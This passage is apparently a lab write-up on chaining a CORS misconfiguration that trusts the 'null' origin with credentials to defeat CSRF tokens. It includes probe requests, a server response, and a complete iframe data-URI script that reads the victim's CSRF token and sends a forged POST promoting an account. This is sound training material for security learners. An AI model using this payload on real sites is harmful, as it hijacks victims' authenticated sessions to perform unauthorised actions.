If the Access-Control-Allow-Credentials is set meaning the cookies are sent with the requests we can bypass the Same-Origin policy.
Bypassing CSRF Tokens
Being in able to bypass the Same-Origin policy using CORS misconfiguration we can make cross-origin requests that creates a valid CSRF token which we can read and use it in our stat-changing cross-origin request. All of this happens in the victims seesions with a valid CSRF token.
But for a victim browser to send sessions cookie's you need the
SameSiteattribute set tonone. Which only allows cookies transmission over HTTPS.
The attack
We start by trying different values in the Origin header and observer the response.
GET /profile.php HTTP/1.1
Host: bypassing-csrftokens.htb
Cookie: PHPSESSID=3cmek58tjokioe1tbd5q95siut
Origin: null
Content-Length: 4
Origin: https://fakewebsite.com
In this case it returns null.
HTTP/1.1 200 OK
Date: Sun, 15 Feb 2026 11:22:31 GMT
Server: Apache/2.4.62 (Debian)
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 15299
We can send the following script
// Creates iframe sandbox, with permission execute JS, navigate top window, submit forms, access same-origin resources (needed for cookies/credentials)
<iframe sandbox="allow-scripts allow-top-navigation allow-forms allow-same-origin" src="data:text/html,<script>
// Inline HTML via data URI - the script executes inside the iframe
var xhr = new XMLHttpRequest();
//Creates first XHR object to fetch the profile page and includes cookies/auth headers in cross-origin request (victim's session)
xhr.open('GET', 'https://bypassing-csrftokens.htb/profile.php', true);
xhr.withCredentials = true;
xhr.onload = function() {
// Callback and parse HTML response into DOM object, extracting the csrf_token
var doc = new DOMParser().parseFromString(xhr.responseText, 'text/html');
var csrftoken = encodeURIComponent(doc.getElementById('csrf_token').value);
// Extracts value from <input id="csrf_token">, URL-encodes it
var csrf_req = new XMLHttpRequest();
// Creates second XHR object for the malicious POST request
var params = 'promote=htb-stdnt' + String.fromCharCode(38) + 'csrf_token=' + csrftoken;
// POST request to same endpoint including vicitim cookie and token.
csrf_req.open('POST', 'https://bypassing-csrftokens.htb/profile.php', true);
csrf_req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
csrf_req.withCredentials = true;
csrf_req.send(params);
};
xhr.send();
</script>"></iframe>